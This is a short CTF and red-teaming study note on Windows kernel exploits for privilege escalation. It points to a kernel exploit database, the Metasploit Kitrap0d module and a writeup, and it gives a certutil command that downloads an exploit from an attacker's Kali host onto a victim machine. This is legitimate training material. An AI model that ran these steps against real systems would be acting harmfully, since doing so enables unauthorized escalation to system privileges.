> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/privilege-escalation/windows-privilege-escalation/kernel-exploits.md).

# Kernel Exploits

Kitrap0d!

## SecWiki Windows Kernel Exploit DB

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}
SecWiki Windows Kernel Exploit DB
{% endembed %}

## Kitrap0d

The metasploit module `exploit/windows/local/ms10_015_kitrap0d` is a really solid option for kenel exploit. When meterpreter suggester suggests it, always try it out.

A detailed writeup:

{% embed url="<https://seclists.org/fulldisclosure/2010/Jan/341>" %}
Kitrap0d writeup
{% endembed %}

## Transfer Kernel Exploits to Victim Machine

If we are doing kernel exploitation manually, compile the exploit locally and use the following command to download the exploit:

```bash
certutil -urlcache -f http://<kali_ip>/<filename> exploit.exe
```

It is just the Windows version of `wget`.